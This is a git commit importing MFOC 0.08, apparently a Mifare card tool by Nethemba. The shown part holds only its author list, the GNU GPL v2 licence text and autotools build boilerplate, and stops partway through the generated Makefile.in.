Import MFOC 0.08 from http://www.nethemba.com/mfoc.tar.bz2 on 13th Sept 2010
This commit is contained in:
commit
532aaf6bc9
24 changed files with 12106 additions and 0 deletions
8
AUTHORS
Normal file
8
AUTHORS
Normal file
|
@ -0,0 +1,8 @@
|
||||||
|
= Nethemba Core Team <mifare@nethemba.com>
|
||||||
|
|
||||||
|
Norbert Szetei - main coder
|
||||||
|
Pavol Luptak - project leader, minor coding, testing and bugreporting
|
||||||
|
|
||||||
|
= Contributors
|
||||||
|
|
||||||
|
Michal Boska <boska.michal@gmail.com> - porting to libnfc 1.3.3
|
339
COPYING
Normal file
339
COPYING
Normal file
|
@ -0,0 +1,339 @@
|
||||||
|
GNU GENERAL PUBLIC LICENSE
|
||||||
|
Version 2, June 1991
|
||||||
|
|
||||||
|
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
|
||||||
|
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
Everyone is permitted to copy and distribute verbatim copies
|
||||||
|
of this license document, but changing it is not allowed.
|
||||||
|
|
||||||
|
Preamble
|
||||||
|
|
||||||
|
The licenses for most software are designed to take away your
|
||||||
|
freedom to share and change it. By contrast, the GNU General Public
|
||||||
|
License is intended to guarantee your freedom to share and change free
|
||||||
|
software--to make sure the software is free for all its users. This
|
||||||
|
General Public License applies to most of the Free Software
|
||||||
|
Foundation's software and to any other program whose authors commit to
|
||||||
|
using it. (Some other Free Software Foundation software is covered by
|
||||||
|
the GNU Lesser General Public License instead.) You can apply it to
|
||||||
|
your programs, too.
|
||||||
|
|
||||||
|
When we speak of free software, we are referring to freedom, not
|
||||||
|
price. Our General Public Licenses are designed to make sure that you
|
||||||
|
have the freedom to distribute copies of free software (and charge for
|
||||||
|
this service if you wish), that you receive source code or can get it
|
||||||
|
if you want it, that you can change the software or use pieces of it
|
||||||
|
in new free programs; and that you know you can do these things.
|
||||||
|
|
||||||
|
To protect your rights, we need to make restrictions that forbid
|
||||||
|
anyone to deny you these rights or to ask you to surrender the rights.
|
||||||
|
These restrictions translate to certain responsibilities for you if you
|
||||||
|
distribute copies of the software, or if you modify it.
|
||||||
|
|
||||||
|
For example, if you distribute copies of such a program, whether
|
||||||
|
gratis or for a fee, you must give the recipients all the rights that
|
||||||
|
you have. You must make sure that they, too, receive or can get the
|
||||||
|
source code. And you must show them these terms so they know their
|
||||||
|
rights.
|
||||||
|
|
||||||
|
We protect your rights with two steps: (1) copyright the software, and
|
||||||
|
(2) offer you this license which gives you legal permission to copy,
|
||||||
|
distribute and/or modify the software.
|
||||||
|
|
||||||
|
Also, for each author's protection and ours, we want to make certain
|
||||||
|
that everyone understands that there is no warranty for this free
|
||||||
|
software. If the software is modified by someone else and passed on, we
|
||||||
|
want its recipients to know that what they have is not the original, so
|
||||||
|
that any problems introduced by others will not reflect on the original
|
||||||
|
authors' reputations.
|
||||||
|
|
||||||
|
Finally, any free program is threatened constantly by software
|
||||||
|
patents. We wish to avoid the danger that redistributors of a free
|
||||||
|
program will individually obtain patent licenses, in effect making the
|
||||||
|
program proprietary. To prevent this, we have made it clear that any
|
||||||
|
patent must be licensed for everyone's free use or not licensed at all.
|
||||||
|
|
||||||
|
The precise terms and conditions for copying, distribution and
|
||||||
|
modification follow.
|
||||||
|
|
||||||
|
GNU GENERAL PUBLIC LICENSE
|
||||||
|
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||||
|
|
||||||
|
0. This License applies to any program or other work which contains
|
||||||
|
a notice placed by the copyright holder saying it may be distributed
|
||||||
|
under the terms of this General Public License. The "Program", below,
|
||||||
|
refers to any such program or work, and a "work based on the Program"
|
||||||
|
means either the Program or any derivative work under copyright law:
|
||||||
|
that is to say, a work containing the Program or a portion of it,
|
||||||
|
either verbatim or with modifications and/or translated into another
|
||||||
|
language. (Hereinafter, translation is included without limitation in
|
||||||
|
the term "modification".) Each licensee is addressed as "you".
|
||||||
|
|
||||||
|
Activities other than copying, distribution and modification are not
|
||||||
|
covered by this License; they are outside its scope. The act of
|
||||||
|
running the Program is not restricted, and the output from the Program
|
||||||
|
is covered only if its contents constitute a work based on the
|
||||||
|
Program (independent of having been made by running the Program).
|
||||||
|
Whether that is true depends on what the Program does.
|
||||||
|
|
||||||
|
1. You may copy and distribute verbatim copies of the Program's
|
||||||
|
source code as you receive it, in any medium, provided that you
|
||||||
|
conspicuously and appropriately publish on each copy an appropriate
|
||||||
|
copyright notice and disclaimer of warranty; keep intact all the
|
||||||
|
notices that refer to this License and to the absence of any warranty;
|
||||||
|
and give any other recipients of the Program a copy of this License
|
||||||
|
along with the Program.
|
||||||
|
|
||||||
|
You may charge a fee for the physical act of transferring a copy, and
|
||||||
|
you may at your option offer warranty protection in exchange for a fee.
|
||||||
|
|
||||||
|
2. You may modify your copy or copies of the Program or any portion
|
||||||
|
of it, thus forming a work based on the Program, and copy and
|
||||||
|
distribute such modifications or work under the terms of Section 1
|
||||||
|
above, provided that you also meet all of these conditions:
|
||||||
|
|
||||||
|
a) You must cause the modified files to carry prominent notices
|
||||||
|
stating that you changed the files and the date of any change.
|
||||||
|
|
||||||
|
b) You must cause any work that you distribute or publish, that in
|
||||||
|
whole or in part contains or is derived from the Program or any
|
||||||
|
part thereof, to be licensed as a whole at no charge to all third
|
||||||
|
parties under the terms of this License.
|
||||||
|
|
||||||
|
c) If the modified program normally reads commands interactively
|
||||||
|
when run, you must cause it, when started running for such
|
||||||
|
interactive use in the most ordinary way, to print or display an
|
||||||
|
announcement including an appropriate copyright notice and a
|
||||||
|
notice that there is no warranty (or else, saying that you provide
|
||||||
|
a warranty) and that users may redistribute the program under
|
||||||
|
these conditions, and telling the user how to view a copy of this
|
||||||
|
License. (Exception: if the Program itself is interactive but
|
||||||
|
does not normally print such an announcement, your work based on
|
||||||
|
the Program is not required to print an announcement.)
|
||||||
|
|
||||||
|
These requirements apply to the modified work as a whole. If
|
||||||
|
identifiable sections of that work are not derived from the Program,
|
||||||
|
and can be reasonably considered independent and separate works in
|
||||||
|
themselves, then this License, and its terms, do not apply to those
|
||||||
|
sections when you distribute them as separate works. But when you
|
||||||
|
distribute the same sections as part of a whole which is a work based
|
||||||
|
on the Program, the distribution of the whole must be on the terms of
|
||||||
|
this License, whose permissions for other licensees extend to the
|
||||||
|
entire whole, and thus to each and every part regardless of who wrote it.
|
||||||
|
|
||||||
|
Thus, it is not the intent of this section to claim rights or contest
|
||||||
|
your rights to work written entirely by you; rather, the intent is to
|
||||||
|
exercise the right to control the distribution of derivative or
|
||||||
|
collective works based on the Program.
|
||||||
|
|
||||||
|
In addition, mere aggregation of another work not based on the Program
|
||||||
|
with the Program (or with a work based on the Program) on a volume of
|
||||||
|
a storage or distribution medium does not bring the other work under
|
||||||
|
the scope of this License.
|
||||||
|
|
||||||
|
3. You may copy and distribute the Program (or a work based on it,
|
||||||
|
under Section 2) in object code or executable form under the terms of
|
||||||
|
Sections 1 and 2 above provided that you also do one of the following:
|
||||||
|
|
||||||
|
a) Accompany it with the complete corresponding machine-readable
|
||||||
|
source code, which must be distributed under the terms of Sections
|
||||||
|
1 and 2 above on a medium customarily used for software interchange; or,
|
||||||
|
|
||||||
|
b) Accompany it with a written offer, valid for at least three
|
||||||
|
years, to give any third party, for a charge no more than your
|
||||||
|
cost of physically performing source distribution, a complete
|
||||||
|
machine-readable copy of the corresponding source code, to be
|
||||||
|
distributed under the terms of Sections 1 and 2 above on a medium
|
||||||
|
customarily used for software interchange; or,
|
||||||
|
|
||||||
|
c) Accompany it with the information you received as to the offer
|
||||||
|
to distribute corresponding source code. (This alternative is
|
||||||
|
allowed only for noncommercial distribution and only if you
|
||||||
|
received the program in object code or executable form with such
|
||||||
|
an offer, in accord with Subsection b above.)
|
||||||
|
|
||||||
|
The source code for a work means the preferred form of the work for
|
||||||
|
making modifications to it. For an executable work, complete source
|
||||||
|
code means all the source code for all modules it contains, plus any
|
||||||
|
associated interface definition files, plus the scripts used to
|
||||||
|
control compilation and installation of the executable. However, as a
|
||||||
|
special exception, the source code distributed need not include
|
||||||
|
anything that is normally distributed (in either source or binary
|
||||||
|
form) with the major components (compiler, kernel, and so on) of the
|
||||||
|
operating system on which the executable runs, unless that component
|
||||||
|
itself accompanies the executable.
|
||||||
|
|
||||||
|
If distribution of executable or object code is made by offering
|
||||||
|
access to copy from a designated place, then offering equivalent
|
||||||
|
access to copy the source code from the same place counts as
|
||||||
|
distribution of the source code, even though third parties are not
|
||||||
|
compelled to copy the source along with the object code.
|
||||||
|
|
||||||
|
4. You may not copy, modify, sublicense, or distribute the Program
|
||||||
|
except as expressly provided under this License. Any attempt
|
||||||
|
otherwise to copy, modify, sublicense or distribute the Program is
|
||||||
|
void, and will automatically terminate your rights under this License.
|
||||||
|
However, parties who have received copies, or rights, from you under
|
||||||
|
this License will not have their licenses terminated so long as such
|
||||||
|
parties remain in full compliance.
|
||||||
|
|
||||||
|
5. You are not required to accept this License, since you have not
|
||||||
|
signed it. However, nothing else grants you permission to modify or
|
||||||
|
distribute the Program or its derivative works. These actions are
|
||||||
|
prohibited by law if you do not accept this License. Therefore, by
|
||||||
|
modifying or distributing the Program (or any work based on the
|
||||||
|
Program), you indicate your acceptance of this License to do so, and
|
||||||
|
all its terms and conditions for copying, distributing or modifying
|
||||||
|
the Program or works based on it.
|
||||||
|
|
||||||
|
6. Each time you redistribute the Program (or any work based on the
|
||||||
|
Program), the recipient automatically receives a license from the
|
||||||
|
original licensor to copy, distribute or modify the Program subject to
|
||||||
|
these terms and conditions. You may not impose any further
|
||||||
|
restrictions on the recipients' exercise of the rights granted herein.
|
||||||
|
You are not responsible for enforcing compliance by third parties to
|
||||||
|
this License.
|
||||||
|
|
||||||
|
7. If, as a consequence of a court judgment or allegation of patent
|
||||||
|
infringement or for any other reason (not limited to patent issues),
|
||||||
|
conditions are imposed on you (whether by court order, agreement or
|
||||||
|
otherwise) that contradict the conditions of this License, they do not
|
||||||
|
excuse you from the conditions of this License. If you cannot
|
||||||
|
distribute so as to satisfy simultaneously your obligations under this
|
||||||
|
License and any other pertinent obligations, then as a consequence you
|
||||||
|
may not distribute the Program at all. For example, if a patent
|
||||||
|
license would not permit royalty-free redistribution of the Program by
|
||||||
|
all those who receive copies directly or indirectly through you, then
|
||||||
|
the only way you could satisfy both it and this License would be to
|
||||||
|
refrain entirely from distribution of the Program.
|
||||||
|
|
||||||
|
If any portion of this section is held invalid or unenforceable under
|
||||||
|
any particular circumstance, the balance of the section is intended to
|
||||||
|
apply and the section as a whole is intended to apply in other
|
||||||
|
circumstances.
|
||||||
|
|
||||||
|
It is not the purpose of this section to induce you to infringe any
|
||||||
|
patents or other property right claims or to contest validity of any
|
||||||
|
such claims; this section has the sole purpose of protecting the
|
||||||
|
integrity of the free software distribution system, which is
|
||||||
|
implemented by public license practices. Many people have made
|
||||||
|
generous contributions to the wide range of software distributed
|
||||||
|
through that system in reliance on consistent application of that
|
||||||
|
system; it is up to the author/donor to decide if he or she is willing
|
||||||
|
to distribute software through any other system and a licensee cannot
|
||||||
|
impose that choice.
|
||||||
|
|
||||||
|
This section is intended to make thoroughly clear what is believed to
|
||||||
|
be a consequence of the rest of this License.
|
||||||
|
|
||||||
|
8. If the distribution and/or use of the Program is restricted in
|
||||||
|
certain countries either by patents or by copyrighted interfaces, the
|
||||||
|
original copyright holder who places the Program under this License
|
||||||
|
may add an explicit geographical distribution limitation excluding
|
||||||
|
those countries, so that distribution is permitted only in or among
|
||||||
|
countries not thus excluded. In such case, this License incorporates
|
||||||
|
the limitation as if written in the body of this License.
|
||||||
|
|
||||||
|
9. The Free Software Foundation may publish revised and/or new versions
|
||||||
|
of the General Public License from time to time. Such new versions will
|
||||||
|
be similar in spirit to the present version, but may differ in detail to
|
||||||
|
address new problems or concerns.
|
||||||
|
|
||||||
|
Each version is given a distinguishing version number. If the Program
|
||||||
|
specifies a version number of this License which applies to it and "any
|
||||||
|
later version", you have the option of following the terms and conditions
|
||||||
|
either of that version or of any later version published by the Free
|
||||||
|
Software Foundation. If the Program does not specify a version number of
|
||||||
|
this License, you may choose any version ever published by the Free Software
|
||||||
|
Foundation.
|
||||||
|
|
||||||
|
10. If you wish to incorporate parts of the Program into other free
|
||||||
|
programs whose distribution conditions are different, write to the author
|
||||||
|
to ask for permission. For software which is copyrighted by the Free
|
||||||
|
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||||
|
make exceptions for this. Our decision will be guided by the two goals
|
||||||
|
of preserving the free status of all derivatives of our free software and
|
||||||
|
of promoting the sharing and reuse of software generally.
|
||||||
|
|
||||||
|
NO WARRANTY
|
||||||
|
|
||||||
|
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||||
|
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||||
|
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||||
|
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||||
|
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||||
|
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||||
|
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||||
|
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||||
|
REPAIR OR CORRECTION.
|
||||||
|
|
||||||
|
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||||
|
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||||
|
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||||
|
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||||
|
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||||
|
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||||
|
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||||
|
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||||
|
POSSIBILITY OF SUCH DAMAGES.
|
||||||
|
|
||||||
|
END OF TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
How to Apply These Terms to Your New Programs
|
||||||
|
|
||||||
|
If you develop a new program, and you want it to be of the greatest
|
||||||
|
possible use to the public, the best way to achieve this is to make it
|
||||||
|
free software which everyone can redistribute and change under these terms.
|
||||||
|
|
||||||
|
To do so, attach the following notices to the program. It is safest
|
||||||
|
to attach them to the start of each source file to most effectively
|
||||||
|
convey the exclusion of warranty; and each file should have at least
|
||||||
|
the "copyright" line and a pointer to where the full notice is found.
|
||||||
|
|
||||||
|
<one line to give the program's name and a brief idea of what it does.>
|
||||||
|
Copyright (C) <year> <name of author>
|
||||||
|
|
||||||
|
This program is free software; you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation; either version 2 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with this program; if not, write to the Free Software Foundation, Inc.,
|
||||||
|
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
|
||||||
|
|
||||||
|
Also add information on how to contact you by electronic and paper mail.
|
||||||
|
|
||||||
|
If the program is interactive, make it output a short notice like this
|
||||||
|
when it starts in an interactive mode:
|
||||||
|
|
||||||
|
Gnomovision version 69, Copyright (C) year name of author
|
||||||
|
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||||
|
This is free software, and you are welcome to redistribute it
|
||||||
|
under certain conditions; type `show c' for details.
|
||||||
|
|
||||||
|
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||||
|
parts of the General Public License. Of course, the commands you use may
|
||||||
|
be called something other than `show w' and `show c'; they could even be
|
||||||
|
mouse-clicks or menu items--whatever suits your program.
|
||||||
|
|
||||||
|
You should also get your employer (if you work as a programmer) or your
|
||||||
|
school, if any, to sign a "copyright disclaimer" for the program, if
|
||||||
|
necessary. Here is a sample; alter the names:
|
||||||
|
|
||||||
|
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
|
||||||
|
`Gnomovision' (which makes passes at compilers) written by James Hacker.
|
||||||
|
|
||||||
|
<signature of Ty Coon>, 1 April 1989
|
||||||
|
Ty Coon, President of Vice
|
||||||
|
|
||||||
|
This General Public License does not permit incorporating your program into
|
||||||
|
proprietary programs. If your program is a subroutine library, you may
|
||||||
|
consider it more useful to permit linking proprietary applications with the
|
||||||
|
library. If this is what you want to do, use the GNU Lesser General
|
||||||
|
Public License instead of this License.
|
0
ChangeLog
Normal file
0
ChangeLog
Normal file
0
INSTALL
Normal file
0
INSTALL
Normal file
4
Makefile.am
Normal file
4
Makefile.am
Normal file
|
@ -0,0 +1,4 @@
|
||||||
|
SUBDIRS = src
|
||||||
|
|
||||||
|
#pkgconfigdir = $(libdir)/pkgconfig
|
||||||
|
#pkgconfig_DATA = libnfc.pc
|
604
Makefile.in
Normal file
604
Makefile.in
Normal file
|
@ -0,0 +1,604 @@
|
||||||
|
# Makefile.in generated by automake 1.10.2 from Makefile.am.
|
||||||
|
# @configure_input@
|
||||||
|
|
||||||
|
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
|
||||||
|
# 2003, 2004, 2005, 2006, 2007, 2008 Free Software Foundation, Inc.
|
||||||
|
# This Makefile.in is free software; the Free Software Foundation
|
||||||
|
# gives unlimited permission to copy and/or distribute it,
|
||||||
|
# with or without modifications, as long as this notice is preserved.
|
||||||
|
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
|
||||||
|
# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
|
||||||
|
# PARTICULAR PURPOSE.
|
||||||
|
|
||||||
|
@SET_MAKE@
|
||||||
|
VPATH = @srcdir@
|
||||||
|
pkgdatadir = $(datadir)/@PACKAGE@
|
||||||
|
pkglibdir = $(libdir)/@PACKAGE@
|
||||||
|
pkgincludedir = $(includedir)/@PACKAGE@
|
||||||
|
am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
|
||||||
|
install_sh_DATA = $(install_sh) -c -m 644
|
||||||
|
install_sh_PROGRAM = $(install_sh) -c
|
||||||
|
install_sh_SCRIPT = $(install_sh) -c
|
||||||
|
INSTALL_HEADER = $(INSTALL_DATA)
|
||||||
|
transform = $(program_transform_name)
|
||||||
|
NORMAL_INSTALL = :
|
||||||
|
PRE_INSTALL = :
|
||||||
|
POST_INSTALL = :
|
||||||
|
NORMAL_UNINSTALL = :
|
||||||
|
PRE_UNINSTALL = :
|
||||||
|
POST_UNINSTALL = :
|
||||||
|
subdir = .
|
||||||
|
DIST_COMMON = README $(am__configure_deps) $(srcdir)/Makefile.am \
|
||||||
|
$(srcdir)/Makefile.in $(srcdir)/config.h.in \
|
||||||
|
$(top_srcdir)/configure AUTHORS COPYING ChangeLog INSTALL NEWS \
|
||||||
|
depcomp install-sh missing
|
||||||
|
ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
|
||||||
|
am__aclocal_m4_deps = $(top_srcdir)/configure.ac
|
||||||
|
am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
|
||||||
|
$(ACLOCAL_M4)
|
||||||
|
am__CONFIG_DISTCLEAN_FILES = config.status config.cache config.log \
|
||||||
|
configure.lineno config.status.lineno
|
||||||
|
mkinstalldirs = $(install_sh) -d
|
||||||
|
CONFIG_HEADER = config.h
|
||||||
|
CONFIG_CLEAN_FILES =
|
||||||
|
SOURCES =
|
||||||
|
DIST_SOURCES =
|
||||||
|
RECURSIVE_TARGETS = all-recursive check-recursive dvi-recursive \
|
||||||
|
html-recursive info-recursive install-data-recursive \
|
||||||
|
install-dvi-recursive install-exec-recursive \
|
||||||
|
install-html-recursive install-info-recursive \
|
||||||
|
install-pdf-recursive install-ps-recursive install-recursive \
|
||||||
|
installcheck-recursive installdirs-recursive pdf-recursive \
|
||||||
|
ps-recursive uninstall-recursive
|
||||||
|
RECURSIVE_CLEAN_TARGETS = mostlyclean-recursive clean-recursive \
|
||||||
|
distclean-recursive maintainer-clean-recursive
|
||||||
|
ETAGS = etags
|
||||||
|
CTAGS = ctags
|
||||||
|
DIST_SUBDIRS = $(SUBDIRS)
|
||||||
|
DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
|
||||||
|
distdir = $(PACKAGE)-$(VERSION)
|
||||||
|
top_distdir = $(distdir)
|
||||||
|
am__remove_distdir = \
|
||||||
|
{ test ! -d $(distdir) \
|
||||||
|
|| { find $(distdir) -type d ! -perm -200 -exec chmod u+w {} ';' \
|
||||||
|
&& rm -fr $(distdir); }; }
|
||||||
|
DIST_ARCHIVES = $(distdir).tar.gz
|
||||||
|
GZIP_ENV = --best
|
||||||
|
distuninstallcheck_listfiles = find . -type f -print
|
||||||
|
distcleancheck_listfiles = find . -type f -print
|
||||||
|
ACLOCAL = @ACLOCAL@
|
||||||
|
AMTAR = @AMTAR@
|
||||||
|
AUTOCONF = @AUTOCONF@
|
||||||
|
AUTOHEADER = @AUTOHEADER@
|
||||||
|
AUTOMAKE = @AUTOMAKE@
|
||||||
|
AWK = @AWK@
|
||||||
|
CC = @CC@
|
||||||
|
CCDEPMODE = @CCDEPMODE@
|
||||||
|
CFLAGS = @CFLAGS@
|
||||||
|
CPP = @CPP@
|
||||||
|
CPPFLAGS = @CPPFLAGS@
|
||||||
|
CYGPATH_W = @CYGPATH_W@
|
||||||
|
DEFS = @DEFS@
|
||||||
|
DEPDIR = @DEPDIR@
|
||||||
|
DEPS_CFLAGS = @DEPS_CFLAGS@
|
||||||
|
DEPS_LIBS = @DEPS_LIBS@
|
||||||
|
ECHO_C = @ECHO_C@
|
||||||
|
ECHO_N = @ECHO_N@
|
||||||
|
ECHO_T = @ECHO_T@
|
||||||
|
EGREP = @EGREP@
|
||||||
|
EXEEXT = @EXEEXT@
|
||||||
|
GREP = @GREP@
|
||||||
|
INSTALL = @INSTALL@
|
||||||
|
INSTALL_DATA = @INSTALL_DATA@
|
||||||
|
INSTALL_PROGRAM = @INSTALL_PROGRAM@
|
||||||
|
INSTALL_SCRIPT = @INSTALL_SCRIPT@
|
||||||
|
INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
|
||||||
|
LDFLAGS = @LDFLAGS@
|
||||||
|
LIBNFC_CFLAGS = @LIBNFC_CFLAGS@
|
||||||
|
LIBNFC_LIBS = @LIBNFC_LIBS@
|
||||||
|
LIBOBJS = @LIBOBJS@
|
||||||
|
LIBS = @LIBS@
|
||||||
|
LTLIBOBJS = @LTLIBOBJS@
|
||||||
|
MAKEINFO = @MAKEINFO@
|
||||||
|
MKDIR_P = @MKDIR_P@
|
||||||
|
OBJEXT = @OBJEXT@
|
||||||
|
PACKAGE = @PACKAGE@
|
||||||
|
PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
|
||||||
|
PACKAGE_NAME = @PACKAGE_NAME@
|
||||||
|
PACKAGE_STRING = @PACKAGE_STRING@
|
||||||
|
PACKAGE_TARNAME = @PACKAGE_TARNAME@
|
||||||
|
PACKAGE_VERSION = @PACKAGE_VERSION@
|
||||||
|
PATH_SEPARATOR = @PATH_SEPARATOR@
|
||||||
|
PKG_CONFIG = @PKG_CONFIG@
|
||||||
|
SET_MAKE = @SET_MAKE@
|
||||||
|
SHELL = @SHELL@
|
||||||
|
STRIP = @STRIP@
|
||||||
|
VERSION = @VERSION@
|
||||||
|
abs_builddir = @abs_builddir@
|
||||||
|
abs_srcdir = @abs_srcdir@
|
||||||
|
abs_top_builddir = @abs_top_builddir@
|
||||||
|
abs_top_srcdir = @abs_top_srcdir@
|
||||||
|
ac_ct_CC = @ac_ct_CC@
|
||||||
|
am__include = @am__include@
|
||||||
|
am__leading_dot = @am__leading_dot@
|
||||||
|
am__quote = @am__quote@
|
||||||
|
am__tar = @am__tar@
|
||||||
|
am__untar = @am__untar@
|
||||||
|
bindir = @bindir@
|
||||||
|
build_alias = @build_alias@
|
||||||
|
builddir = @builddir@
|
||||||
|
datadir = @datadir@
|
||||||
|
datarootdir = @datarootdir@
|
||||||
|
docdir = @docdir@
|
||||||
|
dvidir = @dvidir@
|
||||||
|
exec_prefix = @exec_prefix@
|
||||||
|
host_alias = @host_alias@
|
||||||
|
htmldir = @htmldir@
|
||||||
|
includedir = @includedir@
|
||||||
|
infodir = @infodir@
|
||||||
|
install_sh = @install_sh@
|
||||||
|
libdir = @libdir@
|
||||||
|
libexecdir = @libexecdir@
|
||||||
|
localedir = @localedir@
|
||||||
|
localstatedir = @localstatedir@
|
||||||
|
mandir = @mandir@
|
||||||
|
mkdir_p = @mkdir_p@
|
||||||
|
oldincludedir = @oldincludedir@
|
||||||
|
pdfdir = @pdfdir@
|
||||||
|
prefix = @prefix@
|
||||||
|
program_transform_name = @program_transform_name@
|
||||||
|
psdir = @psdir@
|
||||||
|
sbindir = @sbindir@
|
||||||
|
sharedstatedir = @sharedstatedir@
|
||||||
|
srcdir = @srcdir@
|
||||||
|
sysconfdir = @sysconfdir@
|
||||||
|
target_alias = @target_alias@
|
||||||
|
top_build_prefix = @top_build_prefix@
|
||||||
|
top_builddir = @top_builddir@
|
||||||
|
top_srcdir = @top_srcdir@
|
||||||
|
SUBDIRS = src
|
||||||
|
all: config.h
|
||||||
|
$(MAKE) $(AM_MAKEFLAGS) all-recursive
|
||||||
|
|
||||||
|
.SUFFIXES:
|
||||||
|
am--refresh:
|
||||||
|
@:
|
||||||
|
$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps)
|
||||||
|
@for dep in $?; do \
|
||||||
|
case '$(am__configure_deps)' in \
|
||||||
|
*$$dep*) \
|
||||||
|
echo ' cd $(srcdir) && $(AUTOMAKE) --gnu '; \
|
||||||
|
cd $(srcdir) && $(AUTOMAKE) --gnu \
|
||||||
|
&& exit 0; \
|
||||||
|
exit 1;; \
|
||||||
|
esac; \
|
||||||
|
done; \
|
||||||
|
echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu Makefile'; \
|
||||||
|
cd $(top_srcdir) && \
|
||||||
|
$(AUTOMAKE) --gnu Makefile
|
||||||
|
.PRECIOUS: Makefile
|
||||||
|
Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
|
||||||
|
@case '$?' in \
|
||||||
|
*config.status*) \
|
||||||
|
echo ' $(SHELL) ./config.status'; \
|
||||||
|
$(SHELL) ./config.status;; \
|
||||||
|
*) \
|
||||||
|
echo ' cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe)'; \
|
||||||
|
cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe);; \
|
||||||
|
esac;
|
||||||
|
|
||||||
|
$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
|
||||||
|
$(SHELL) ./config.status --recheck
|
||||||
|
|
||||||
|
$(top_srcdir)/configure: $(am__configure_deps)
|
||||||
|
cd $(srcdir) && $(AUTOCONF)
|
||||||
|
$(ACLOCAL_M4): $(am__aclocal_m4_deps)
|
||||||
|
cd $(srcdir) && $(ACLOCAL) $(ACLOCAL_AMFLAGS)
|
||||||
|
|
||||||
|
config.h: stamp-h1
|
||||||
|
@if test ! -f $@; then \
|
||||||
|
rm -f stamp-h1; \
|
||||||
|
$(MAKE) $(AM_MAKEFLAGS) stamp-h1; \
|
||||||
|
else :; fi
|
||||||
|
|
||||||
|
stamp-h1: $(srcdir)/config.h.in $(top_builddir)/config.status
|
||||||
|
@rm -f stamp-h1
|
||||||
|
cd $(top_builddir) && $(SHELL) ./config.status config.h
|
||||||
|
$(srcdir)/config.h.in: $(am__configure_deps)
|
||||||
|
cd $(top_srcdir) && $(AUTOHEADER)
|
||||||
|
rm -f stamp-h1
|
||||||
|
touch $@
|
||||||
|
|
||||||
|
distclean-hdr:
|
||||||
|
-rm -f config.h stamp-h1
|
||||||
|
|
||||||
|
# This directory's subdirectories are mostly independent; you can cd
|
||||||
|
# into them and run `make' without going through this Makefile.
|
||||||
|
# To change the values of `make' variables: instead of editing Makefiles,
|
||||||
|
# (1) if the variable is set in `config.status', edit `config.status'
|
||||||
|
# (which will cause the Makefiles to be regenerated when you run `make');
|
||||||
|
# (2) otherwise, pass the desired values on the `make' command line.
|
||||||
|
$(RECURSIVE_TARGETS):
|
||||||
|
@failcom='exit 1'; \
|
||||||
|
for f in x $$MAKEFLAGS; do \
|
||||||
|
case $$f in \
|
||||||
|
*=* | --[!k]*);; \
|
||||||
|
*k*) failcom='fail=yes';; \
|
||||||
|
esac; \
|
||||||
|
done; \
|
||||||
|
dot_seen=no; \
|
||||||
|
target=`echo $@ | sed s/-recursive//`; \
|
||||||
|
list='$(SUBDIRS)'; for subdir in $$list; do \
|
||||||
|
